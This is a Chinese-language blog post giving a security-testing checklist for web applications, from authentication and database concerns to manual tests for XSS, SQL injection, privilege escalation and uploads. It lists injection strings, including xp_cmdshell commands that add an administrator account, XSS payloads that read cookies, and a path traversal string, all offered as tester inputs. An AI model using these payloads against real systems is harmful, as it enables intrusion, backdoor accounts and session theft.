1. 程式人生 > >安全測試的考慮點及測試方法

安全測試的考慮點及測試方法

軟體安全性測試主要包括程式、資料庫安全性測試。根據系統安全指標不同測試策略也不同。

使用者認證安全的測試要考慮問題:

1.明確區分系統中不同使用者許可權

2.系統中會不會出現使用者衝突

3.系統會不會因使用者的許可權的改變造成混亂

4.使用者登陸密碼是否是可見、可複製

5.是否可以通過絕對途徑登陸系統(拷貝使用者登陸後的連結直接進入系統)

6.使用者推出系統後是否刪除了所有鑑權標記,是否可以使用後退鍵而不通過輸入口令進入系統

 

系統網路安全的測試要考慮問題:

1.測試採取的防護措施是否正確裝配好,有關係統的補丁是否打上

2.模擬非授權攻擊,看防護系統是否堅固

3.採用成熟的網路漏洞檢查工具檢查系統相關漏洞(即用最專業的黑客攻擊工具攻擊試一下,現在最常用的是 NBSI系列和 IPhacker IP )

4.採用各種木馬檢查工具檢查系統木馬情況

5.採用各種防外掛工具檢查系統各組程式的客外掛漏洞

 

資料庫安全考慮問題:

1.系統資料是否機密(比如對銀行系統,這一點就特別重要,一般的網站就沒有太高要求)

2.系統資料的完整性(我剛剛結束的企業實名核查服務系統中就曾存在資料的不完整,對於這個系統的功能實現有了障礙)

3.系統資料可管理性

4.系統資料的獨立性

5.系統資料可備份和恢復能力(資料備份是否完整,可否恢復,恢復是否可以完整)

 

瀏覽器安全

同源策略:不同源的“document”或指令碼,不能讀取或者設定當前的“document”

同源定義:host(域名,或者IP),port(埠號),protocol(協議)三者一致才屬於同源。

要注意的是,同源策略只是一種策略,而非實現。這個策略被用於一些特定的點來保護web的安全。

<script>,<img>,<iframe>,<link>等標籤都可以跨域載入資源,不受同源策略的限制。

XMLHttpRequest,DOM,cookie受到同源策略的限制。

網站可以通過提供crossdomain.xml來允許某些源跨域訪問自己的資源。

google chrome使用了多程序來隔離程式碼執行的環境,從而起到提高web安全的作用

Q & A

Q:cookie為什麼需要同源策略?

A:cookie有同源策略是必須的,這樣可以保證A網站的使用者(識別)資訊不會被B網站獲取到

Q:XMLHttpRequest為什麼需要同源策略?

A:兩個例子:

(1)加入沒有同源策略,某個網站的某張頁面被你寫入了一些js ,這些js有些ajax操作,如果某個使用者訪問了這張頁面,你的js就可以獲得使用者的某些資訊(cookie,本地檔案等)然後通過ajax傳送回你的伺服器。 這就是安全問題,資訊洩漏。

其實這個就是XSS攻擊,為了防止XSS攻擊後,用ajax請求返回使用者敏感資訊。但是其實XSS的攻擊僅靠XMLHttpRequest的同源策略根本沒用,後面的章節會看到。這也許是當時XSS還沒那麼豐富的時候,還算比較有效的安全策略。

(2)先假設瀏覽器沒有限制跨域,A站的xhr請求B站的一個url,那麼瀏覽器是要帶上誰家的cookie一起請求呢?(每次http請求都要帶上該站下的所有cookie)顯然是B家的。假設B家的網站當前使用者已經登入,那麼cookie裡自然記錄下了sessionId相關的東西以標識當前使用者的身份,那麼本次xhr請求很easy的通過了身份認證,然後後果就是不堪設想的。

這個就很正確,如果A可以用xhr跨站訪問B,帶著B的cookie自然可以通過B網站的驗證,從而獲取到敏感資料。所以這點是關鍵。

 

web安全測試方法:

工具掃描

目前web安全掃描器針對 XSS、SQL injection 、OPEN redirect 、PHP File Include漏洞的檢測技術已經比較成熟。

商業軟體web安全掃描器:有IBM Rational Appscan、WebInspect、Acunetix WVS

免費的掃描器:W3af 、Skipfish 等

根據業務資金,可以考慮購買商業掃描軟體,也可以使用免費的,各有各的好處。

首頁可以對網站進行大規模的掃描操作,工具掃描確認沒有漏洞或者漏洞已經修復後,再進行以下手工檢測。

手工檢測

對於CSRF、越權訪問、檔案上傳、修改密碼 等漏洞,難以實現自動化檢測的效果,這是因為這些漏洞涉及系統邏輯或業務邏輯,有時候還需要人機互動參與頁面流程,因此 這類漏洞的檢測更多的需要依靠手動測試完成。

手工檢測網站URL、後臺登陸是否具有SQL注入

Admin--

‘or --

‘ and ( ) exec insert * % chr mid

and 1=1 ; And 1=1 ; aNd 1=1 ; char(97)char(110)char(100) char(49)char(61)char(49) ; %20AND%201=2

‘and 1=1 ; ‘And 1=1 ; ‘aNd 1=1 ;

and 1=2 ; ‘and 1=2

and 2=2

and user>0

and (select count(*) from sysobjects)>0

and (select count(*) from msysobjects)>0

and (Select Count(*) from Admin)>=0

and (select top 1 len(username) from Admin)>0(username 已知欄位)

;exec master..xp_cmdshell “net user name password /add”—

;exec master..xp_cmdshell “net localgroup name administrators /add”—

and 0<>(select count(*) from admin)

XSS:對於get請求的URL一般漏洞掃描軟體都可掃描到是否存在XSS漏洞。(但是軟體沒有完美的,也有誤報,或者有遺漏的情況)

對於POST的請求的(例如留言板,評論,等等),就是要在輸入框輸入的情況,則要進行以下測試

 ★[email protected]#$%^&*()_+<>,./?;'"[]{}\-

 ★%3Cinput /%3E

 ★%3Cscript%3Ealert('XSS')%3C/script%3E

 ★<input type="text"/>

 ★<input/>

 ★<input/ 

 ★<script>alert('xss')</script>

 ★<script>alert('xss');</script>

 ★</script><script>alert(‘xss’)</script>

 ★javascript:alert(/xss/)

 ★javascript:alert(/xss/)

 ★<img src="#" onerror=alert(/xss/)>

 ★<img src="#" style="Xss:expression(alert(/xss/));">

 ★<img src="#"/**/onerror=alert(/xss/) width=100>

 ★=’><script>alert(document.cookie)</script>

 ★1.jpg" onmouseover="alert('xss')

 ★"></a><script>alert(‘xss’);</script>

 ★http://xxx';alert('xss');var/ a='a

 ★’”>xss&<

 ★"onmouseover=alert('hello');"

 ★&{alert('hello');}

  ★>"'><script>alert(‘XSS')</script>

  ★>%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>

 ★>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;

%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>

  ★AK%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OS%22

  ★%22%2Balert(%27XSS%27)%2B%22

  ★<table background="javascript:alert(([code])"></table>

  ★<object type=text/html data="javascript:alert(([code]);"></object>

  ★<body onload="javascript:alert(([code])"></body>

  ★a?<script>alert(’Vulnerable’)</script>

 ★<!--'">&:

  var from = ‘$!rundata.Parameters.getString(’from’)';

  var from = ”;hackerFunction(document.cookie);”;

上面這些同樣適用於GET請求

經過以上測試,如果發現輸入框程式碼溢位,則說明可能存在XSS漏洞,說明要進行過濾.

 

關於越權操作的問題

例如A使用者的個人資料ID為1 B使用者個人資料ID為2,我通過登陸B使用者,把ID修改為1 就可以檢視到使用者A的個人資料,這就是越權。

測試方法:通過檢視URL的get引數對那些類似明顯的順序數字 進行修改,看是否能越權訪問。

 

關於登陸安全的問題

除了SQL注入,還有找回密碼功能會出現安全問題

郵箱找回密碼測試方法:

先從郵箱引數修改開始,看填入使用者名稱和自己修改的郵箱賬號,看是否能收到郵箱,收到後是否能修改。

如果不能修改郵箱引數那麼,我們就讓它郵箱找回,接著點選郵箱內修改密碼的連結,看連結的郵箱引數是否可以修改,使用者名稱是否可以修改,加密的urlcode 是否可以逆向解密。

如果是手機找回密碼功能:則測試手機收到的驗證碼是否是純數字、純字母的,如果是請修改為字母與數字的組合。

 

關於用開源程式的問題

關注網上你所用的開源程式的官網更新情況和安全事件。

 

關於上傳:

1.上傳檔案是否有格式限制,是否可以上傳exe檔案;

2.上傳檔案是否有大小限制,上傳太大的檔案是否導致異常錯誤,上傳0K的檔案是否會導致異常錯誤,上傳並不存在的檔案是否會導致異常錯誤;

3.通過修改副檔名的方式是否可以繞過格式限制,是否可以通過壓包方式繞過格式限制;

4.是否有上傳空間的限制,是否可以超過空間所限制的大小,如將超過空間的大檔案拆分上傳是否會出現異常錯誤。

5.上傳檔案大小大於本地剩餘空間大小,是否會出現異常錯誤。

6.關於上傳是否成功的判斷。上傳過程中,中斷。程式是否判斷上傳是否成功。

7.對於檔名中帶有中文字元,特殊字元等的檔案上傳。

下載:

避免輸入:\..\web.

修改命名字尾。

 

輸入驗證

客戶端驗證 伺服器端驗證(禁用指令碼除錯,禁用Cookies)

1.輸入很大的數(如4,294,967,269),輸入很小的數(負數)

2.輸入超長字元,如對輸入文字長度有限制,則嘗試超過限制,剛好到達限制字數時有何反應

3.輸入特殊字元,如:[email protected]#$%^&*()_+<>:”{}|

4.輸入中英文空格,輸入字串中間含空格,輸入首尾空格

5.輸入特殊字串NULL,null,0x0d 0x0a

6.輸入正常字串

7.輸入與要求不同型別的字元,如: 要求輸入數字則檢查正值,負值,零值(正零,負零),小數,字母,空值; 要求輸入字母則檢查輸入數字

8.輸入html和javascript程式碼

9.對於像回答數這樣需檢驗數字正確性的測試點,不僅對比其與問題最終頁的回答數,還要對回答進行新增刪除等操作後檢視變化

例如:

1.輸入<html”>”gfhd</html>,看是否出錯;

2.輸入<input type=”text” name=”user” onclick="alert(1)"/>,看是否出現文字框;

3.輸入<script type=”text/javascript”>alert(“提示”)</script>看是否出現提示。

4.輸入”><script type=”text/javascript”>alert(“提示”)</script>看是否出現提示。

5.輸入 ”><script><” 看是否出現程式碼溢位

 

頁面許可權洩露

測試在不登陸的情況下是否可以訪問到後臺的頁面,這個只要把後臺的目錄的URL全部瀏覽一遍即可

 

關於任意檔案下載

檢視上傳的圖片檔案是否可以刪除,如果可以刪除,檢視刪除的URL裡面的引數是否可以修改。